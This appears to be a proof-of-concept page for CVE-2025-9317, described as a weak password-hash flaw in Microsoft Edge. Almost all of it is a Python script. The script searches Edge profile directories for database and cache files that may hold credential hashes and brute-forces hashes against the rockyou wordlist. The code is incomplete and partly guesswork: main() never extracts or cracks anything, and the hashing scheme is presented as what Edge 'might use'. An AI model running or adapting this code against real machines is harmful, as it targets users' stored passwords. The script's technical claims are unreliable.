CVE-2025-9317 Microsoft Edge弱哈希密码破解漏洞

# CVE-2025-9317 PoC - Edge Password Hash Extraction and Cracking # Note: This PoC is for educational and security research purposes only import os import json import hashlib from pathlib import Path def extract_edge_cache_files(): """ Extract Edge cache files containing weak password hashes Edge stores cached credentials in specific locations """ edge_paths = [ os.path.expanduser("~\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\"), os.path.expanduser("~\\AppData\\Local\\Microsoft\\Edge\\User Data\\Profile*"), ] cache_files = [] for path_pattern in edge_paths: if '*' in path_pattern: base_path = path_pattern.replace('*', '') if os.path.exists(base_path): for profile in os.listdir(base_path): profile_path = os.path.join(base_path, profile) cache_files.extend(find_hash_files(profile_path)) else: cache_files.extend(find_hash_files(path_pattern)) return cache_files def find_hash_files(directory): """ Find files potentially containing password hashes Look for project files and cache databases """ hash_files = [] if not os.path.exists(directory): return hash_files # Common file patterns for stored credentials patterns = ['*.db', '*.sqlite', '*.json', 'Project*', '*Cache*'] for root, dirs, files in os.walk(directory): for file in files: if any(pattern.replace('*', '') in file for pattern in patterns): hash_files.append(os.path.join(root, file)) return hash_files def crack_weak_hash(hash_value, wordlist_path='rockyou.txt'): """ Brute-force weak hashes using common password wordlist Edge's weak hashing allows fast cracking without GPU """ try: with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f: for password in f: password = password.strip() # Try common hash variations Edge might use for variant in [ password, hashlib.md5(password.encode()).hexdigest(), hashlib.sha1(password.encode()).hexdigest(), hashlib.sha256(password.encode()).hexdigest(), ]: if hashlib.md5(variant.encode()).hexdigest() == hash_value: return password except FileNotFoundError: print("Wordlist not found. Use a password wordlist file.") return None def main(): print("CVE-2025-9317 - Edge Weak Hash PoC") print("=" * 50) # Extract cache files cache_files = extract_edge_cache_files() print(f"Found {len(cache_files)} potential cache files") # Analyze files for weak hashes for file_path in cache_files: print(f"\nAnalyzing: {file_path}") # In real attack, parse file and extract hash values # Then crack using crack_weak_hash() print("\n[!] This PoC demonstrates the vulnerability") print("[!] Use only in authorized security testing") if __name__ == "__main__": main() # Mitigation: Update Edge to latest version # Reference: https://learn.microsoft.com/en-us/DeployEdge/ # Reference: https://www.cve.org/CVERecord?id=CVE-2025-9317